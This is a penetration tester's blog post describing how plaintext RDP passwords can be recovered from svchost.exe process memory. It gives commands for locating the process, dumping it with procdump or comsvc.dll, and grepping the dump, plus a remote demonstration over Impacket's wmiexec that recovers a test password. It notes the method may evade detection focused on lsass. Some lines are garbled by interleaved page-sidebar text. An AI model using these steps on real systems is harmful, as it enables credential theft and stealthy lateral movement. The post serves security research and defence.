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Dumping Plaintext RDP credentials from svchost.exe

May 16, 2021

n00py

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Recently I was browsing Twitter and came across a very interesting tweet:

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A simple string search within the process memory for svchost.exe revealed the plaintext password that was used to connect to the system via RDP.

After some testing, I was also able to reproduce. This was very attractive to me for the following reasons:

• The plaintext password is present. Most Modern Windows systems do not have wdigest enabled anymore so finding plaintext credentials in memory is much more rare.

• The password is in svchost.exe, as opposed to Isass.exe. This means that defensive tooling to detect/prevent dumping passwords from memory may not be able to detect this.

I tested this quite a few times as well as many others, and so far I've observed the following:

- This seems to work on Windows 10, Windows Sever 2016, Windows Server 2012. Likely others as well, but so far I've seen it successful against these.
- According to the tweet author and other testers, it appears to work for local and domain accounts.
- It does not appear to be consistent. Sometimes the password is there, sometimes it is not. I do not know exactly why this is. It does seem to exist in memory for a long period of time, but how long is unknown.

If your like me, your biggest question is probably "How do I exploit this now IRL?"

Here's what I've learned so far.

Find the right process. I've seen a few ways to do it.

• Use Process Hacker 2. Go to the Network tab and find the process that has an RDP connection. This only works if the RDP connection is still active.

Processes Services	Network	Disk			
Name		Local address	Local port	Remote address	Remote port Protocol
svchost.exe (408)		DESKTOP-5M7P3LK	3389	192.168.2.215	58212 TCP

Use netstat. Running:

1 | netstat -nob | Select-String TermService -Context 1

Will Show you the process. This also requires the RDP connection to be active.

• Use tasklist. Running:

1 tasklist /M:rdpcorets.dll

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will show you processes loading the RDP rdpcorets.dll li	ibrary. This seems to be January 2022
the best method and does not rely on the RDP session t	
Once you know the process, you need to dump it. The	ere are lots of way to do May 2021
this, but here are a few:	December 2020
 Use Process Hacker 2. Right click on the process 	and select "Create dump August 2020
file"	May 2020
Use Task Manager. Right click on the process an	
file"	January 2020
Use Procdump.exe.	
1 procdump.exe -ma [PROCESS ID] -accepteula	
• Use comsvc.dll.	June 2019
1 \ .\rundll32.exe C:\windows\System32\comsvc	March 2019
	October 2018
Once you have the memory dump, you need to search to use strings with the -el option for 16 bit character siz	7 tagast 2010
hardest part is figuring out what to grep for, since presi	
the password. Here are the results of multiple different	t dumps from my testing: April 2018
1 strings -el svchost* grep n00py -C3	March 2018
2 ::Encod 3 -8439-3d9ad4c9440f	January 2018
4 hacker 5 n00py69420	December 2017
6 -6e7e-4f4b-8439-3d9ad4c9440f 7 ession1Mouse0	November 2017
8 TERMINPUT_BUS 9	October 2017
10 DESKTOP-5M7P3LK 11 oAAAAAnPAAAAAAAAw4pY3Ifher#Wp8RboaGPtvZY	September 2017
12 hacker	August 2017
13 n00py69420 14 ualChannel call on this Connections Stac	k' in CUMRDPConnection lune 2017
15 \\?\SWD#RemoteDisplayEnum#RdpIdd_Indirec 16 \\?\SWD#RemoteDisplayEnum#RdpIdd_Indirec	tDisplay&SessionId_000
17 18 WmVMVmWMWnAnFnmnsnVnWoVPapApcpFPHPRpspVp	April 2017
19 aoAOauAU	ivial cit 2017
20 avAVavAVayAYooOOSSthTHthTHvyVYLL11 21 n00py69420	January 2017
<pre>22 \\?\SWD#RemoteDisplayEnum#RdpIdd_Indirec 23 e4fbe3ddd89}</pre>	2 0000001 2010
24 \\?\SWD#RemoteDisplayEnum#RdpIdd_Indirec	tDisplay&SessionId_000

```
25
                                                                           Follow @n00py1
 26
       DESKTOP-5M7P3LK
 27
      Hacker
       hacker
  28
  29
      n00py69420
                                                                          Tweets by n00py1
      \\?\SWD#RemoteDisplayEnum#RdpIdd IndirectDisplay&SessionId 000
 31
      a-9a0c-de4fbe3ddd89}
      40fSession3Keyboard0
 32
 33
 34
       \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
      RDV::RDP::Encoder::FrameEncodingStart
 35
      hacker
 37
      n00py69420
 38
       \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
      RDV::RDP::GraphicsPipelineMicroStats::GfxMDOutMoves
  39 l
      RDV::RDP::GraphicsPipelineMicroStats::GfxCacheInsertRects
 40
There are a couple note worthy findings:
```

- In four out of five or the cases the password was found, the string immediately preceding it was the username of the user who performed the RDP action.
- In four our of five cases, the string

was found in the first or second

succeeding string.

Using these two indicators together, it should be possible to determine which string is in fact the user's password.

Below is a demonstration of collecting the password remotely:

```
1
    $ wmiexec.py Administrator:password@192.168.2.249
2
    Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 202
4
    [*] SMBv3.0 dialect used
5
    [!] Launching semi-interactive shell - Careful what you execut
    [!] Press help for extra shell commands
6
    C:\>tasklist /M:rdpcorets.dll
8
9
                                  PID Modules
    Image Name
10
    11
    svchost.exe
                                  408 rdpcorets.dll
12
13
    C:\>lput procdump64.exe
14
    [*] Uploading procdump64.exe to C:\procdump64.exe
15
    C:\>
16
    C:\>procdump64.exe -ma 408 -accepteula svc.dmp
17
18
    ProcDump v10.0 - Sysinternals process dump utility
19
    Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
20
    Sysinternals - www.sysinternals.com
21
22
    [20:58:17] Dump 1 initiated: C:\svc.dmp
    [20:58:18] Dump 1 writing: Estimated dump file size is 67 MB.
23
```

```
24
       [20:58:18] Dump 1 complete: 67 MB written in 0.6 seconds
 25
       [20:58:18] Dump count reached.
 26
 27
  28
       C:\>lget svc.dmp
  29
       [*] Downloading C:\\svc.dmp
And then running strings and grep locally:
  1 | root@PC001:~# strings -el svc.dmp| grep n00py -C1
       hacker
  3
       n00py69420
  4
       192.168.2.215
      hacker
  6
  7
       n00py69420
  8
      192.168.2.215
  9 |
  10
      hacker
       n00py69420
 12
      192.168.2.215
 13
 14
     SWD\MSRRAS\MS_L2TPMINIPORT
 15
       n00py69420
      \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
```

As I had disconnected and reconnected multiple times, we can see that the plaintext password is stored in memory in a few different places.

This is far from a scientific experiment, but I wanted to add some documentation to this as there isn't really much out there yet. Hopefully someone smarter than me can figure out exactly what is going on and how to better exploit it.

Edit: After writing this, I came to find out that GentilKiwi already figured it out and has it working in Mimikatz \bigcirc

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